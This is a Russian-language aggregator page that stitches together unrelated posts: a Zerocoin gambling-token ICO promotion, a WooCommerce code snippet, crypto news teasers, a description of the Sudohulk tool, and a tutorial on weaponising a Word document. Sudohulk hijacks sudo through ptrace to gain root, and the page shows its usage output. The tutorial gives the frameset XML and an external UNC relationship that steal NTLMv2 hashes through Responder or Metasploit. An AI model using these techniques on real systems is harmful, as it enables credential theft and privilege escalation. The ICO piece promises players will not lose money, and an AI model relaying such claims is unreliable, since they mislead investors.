Проверка майнинг платформы UpHash на наличие вирусов и безопасность

На криптовалюте можно как заработать, так и потерять большие деньги. Если с трейдингом, на первый взгляд, дела обстоят просто (покупать дешево — продавать дорого), то с майнингом все гораздо запутаннее и сложнее, особенно для новичка.

Майнить крипту можно с помощью специального оборудования (ASIC и GPU фермы) или через майнинг платформу. К сожалению, везде существуют свои слабые стороны, но однозначно не стоит ставить крест на майнинге. В данной статье мы рассмотрим, что не так с майнингом при помощи оборудования и как избежать мошенников и вирусов в сфере криптовалюты. Читать →

Джим Прейсслер (CEO проекта trade.io) присоединился к Zerocoin в качестве советника

Команда ZeroEdge очень рада объявить, что генеральный директор Trade.io Джим Прейсслер присоединился к консультативной группе проекта ZeroEdge.

Джим обладает более чем 20-летним опытом работы на международном рынке, с особым опытом работы в США и Китае с экспертными знаниями в TMT, FinTech, Blockchain, Crypto, ICOs, Retail & Consumer, Casinos & Gaming, Clean & Renewable Energy, Oil & Gas.

Джим имеет глубокий опыт в области частного акционерного и инвестиционного банкинга с опытом в области финансирования, слияний и поглощений, должной осмотрительностью, структурированием, развитием бизнеса и стратегией.

В настоящее время Джим является генеральным директором trade.io — инновационной платформенной одноранговой торговой платформы, которая привлекла 31 миллион долларов во время своего ICO.

«Наличие у нас специалиста такого уровня как Джим, является огромным стимулом для нашего проекта», — сказал Адриан Кейси, генеральный директор ZeroEdge.Bet, прежде чем добавить:
«Джим лично участвовал в запуске и управлении чрезвычайно успешным ICO, и это означает, что его совет будет бесценным, поскольку все мы работаем для обеспечения успеха Zerocoin.
У Джима есть такой сильный послужной список, что, несомненно, его назначение поможет ZeroEdge.Bet ICO и поможет нам развить нашу платформу ».

ZeroEdge.Bet — Революционная онлайн-платформа для азартных игр с 0% комиссией

ZeroEdge — это уникальная концепция, которая революционизирует то, как вы играете онлайн. В настоящее время все азартные онлайн-игры происходят с заложенной долей казино, то есть преимуществом, которое имеет казино над вами, которое варьируется от 1% до 10% или более, в зависимости от игры.

Инновационное решение ZeroEdge предлагает игры с 0% комиссии и дает игрокам совершенно равный шанс на выигрыш. Другими словами, игра в ZeroEdge.Bet буквально бесплатна, вам не нужно ничего платить площадке, как это происходит на традиционных сайтах онлайн-казино.

Самая удивительная часть — то, что ценность Zerocoin возрастает по мере того, как все больше людей присоединяются к первой в мире игровой платформе с 0% комиссии. Все это достигается за счет создания экономики с замкнутым циклом, в которой высокий спрос на игры с нулевой комиссией приводит к росту стоимости Zerocoin.

Эта модель также известна как закон Меткалфа, который был первоначально изобретен в 1993 году и можно увидеть в фактическом росте цены Биткоина. Zero Edge предлагает уникальную модель азартных игр, которая потенциально может революционизировать азартную игру в 70 миллиардов долларов. Игроки не будут терять деньги, а вместо этого зарабатывают от повышения ценности самих токенов Zerocoin.

Разработчики проекта, сделали опрос и расспросили тысячи людей об их предпочтениях и переживаниях в азартных играх. Основной вывод заключался в том, что 99% из них заявили, что они будут выбирать игры с 0% доли казино, если такие площадки будут доступны. Высокий спрос на первые в мире игры с нулевой долей самой платформы, экспоненциально увеличат стоимость Zerocoin. Важной задачей для разработчиков является информирование игроков и привлечение их внимания к этой полезной концепции.

Токены Zerocoins (ZERO) будут доступы для инвесторов во время предстоящего ICO. Подробную информацию смотрите на официальном сайте https://tokensale.zeroedge.bet

Сообщение Джим Прейсслер (CEO проекта trade.io) присоединился к Zerocoin в качестве советника появились сначала на Майнинг Криптовалюты.

Источник: mining-cryptocurrency.ru

Как получить полный список категорий товаров в WooCommerce

Если вы хотите получить полный список категорий товаров на вашем WordPress сайте, то этот учебник для вас, здесь мы собираемся рассказать, как получить полный список категорий товаров в WooCommerce с помощью функции WooCommerce get_terms().

Скопируйте приведенный ниже код и добавьте его в конце файла functions.php.

$args = array(
    'number'     => $number,
    'orderby'    => $orderby,
    'order'      => $order,
    'hide_empty' => $hide_empty,
    'include'    => $ids
);
 
$product_categories = get_terms( 'product_cat', $args );
 
$count = count($product_categories);
 
if ( $count > 0 ){
     echo "<ul>";
     foreach ( $product_categories as $product_category ) {
       echo '<li><a href="' . get_term_link( $product_category ) . '">' .
        $product_category->name . '</li>';
        
     }
 
     echo "</ul>";
 
}

2018-03-13T17:57:24

Лучшие учебники по Wodpress

Перспективы Ripple: сотрудничество с Amazon и банками Японии

Слухи о сотрудничестве Ripple и Amazon стали распространяться после того, как Amazon зарегистрировал три новых домена. Разговоры вокруг криптовалюты не стихают и по поводу сотрудничества с Японским банковским Консорциумом. Несмотря на снижение курса, аналитики представляют Ripple все более привлекательным финансовым инструментом. По их мнению, инвестиции в Ripple в долгосрочной перспективе могут иметь больший доход, чем ожидалось. Читать →

Sudohulk попробуйте повысить привилегию изменением команды sudo

Этот инструмент меняет команду sudo, подключая sysall execve с помощью ptrace, протестирован под bash и zsh

Поддерживаемые архитектуры:

x86_64

Как использовать

 # make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
-q quit when change a command
-d run in background
-k keep original command line (appending to new)

Заметки

PID = bash или zsh pid

Чтобы присоединить текущую сессию, используйте -d, например:

 # ./sudohulk -qd $$ id

running in background, pid:20899

 # sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)

Демо

Скачать Sudohulk

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

2018-03-13T14:55:40

Медиа

Microsoft Office – Хэш NTLM через Frameset

Офисные документы Microsoft играют жизненно важную роль в оценке этичного хакера или тестироващика на проникновение, поскольку обычно они используются, чтобы получить некоторую начальную точку опоры во внутренней сети клиента.

Пребывание под радаром также является ключевым элементом, и это может быть достигнуто только путем злоупотребления законными функциональными возможностями Windows или доверенного приложения, такого как офис Microsoft.

Исторически Microsoft Word использовался как HTML-редактор.

Это означает, что он может поддерживать HTML-элементы, такие как framesets.

Поэтому можно связать документ Microsoft Word с UNC-контуром и расчесывать его с помощью responder, чтобы захватывать хеши NTLM извне.

Документы Word с расширением docx представляют собой zip-файл, который содержит различные XML-документы.

Эти файлы XML управляют темой, шрифтами, настройками документа и веб-настройками.

Используя 7-zip, можно открыть этот архив, чтобы изучить эти файлы:

Папка слова содержит файл, который называется webSettings.xml.

Этот файл необходимо изменить, чтобы включить набор фреймов.

Добавление следующего кода создаст ссылку на другой файл.

<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="3"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>

Новый файл webSettings.xml, содержащий набор фреймов, должен быть добавлен обратно в архив, чтобы предыдущая версия была перезаписана.

Необходимо создать новый файл (webSettings.xml.rels), чтобы содержать идентификатор отношения (rId1) UNC-путь и TargetMode, если он является внешним или внутренним.

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="\192.168.1.169Microsoft_Office_Updates.docx" TargetMode="External"/>
</Relationships>

Каталог _rels содержит связанные отношения документа с точки зрения шрифтов, стилей, тем, настроек и т. д.

Посадка нового файла в этом каталоге завершит связь отношений, которая была создана ранее через набор фреймов.

Теперь, когда документ Word был вооружен для подключения к UNC-пути через Интернет, responder может быть настроен для захвата хешей NTLM.

Как только целевой пользователь откроет документ документа, он попытается подключиться к UNC-пути.

Ответчик получит хэш NTLMv2 пользователя.

В качестве альтернативы Metasploit Framework может использоваться вместо ответчика, чтобы захватить хэш пароля.

 auxiliary/server/capture/smb

Хеши NTLMv2 будут записаны в Metasploit после открытия документа.

Вывод

Этот метод позволяет атакующему захватить хэши паролей домена у пользователей, которые могут привести к внутреннему доступу к сети, если двухфакторная аутентификация для доступа к VPN не включена и существует слабая политика паролей.

Кроме того, если целевой пользователь является повышенной учетной записью, такой как локальный администратор или администратор домена, этот метод можно комбинировать с реле SMB, чтобы получить сеанс Meterpreter.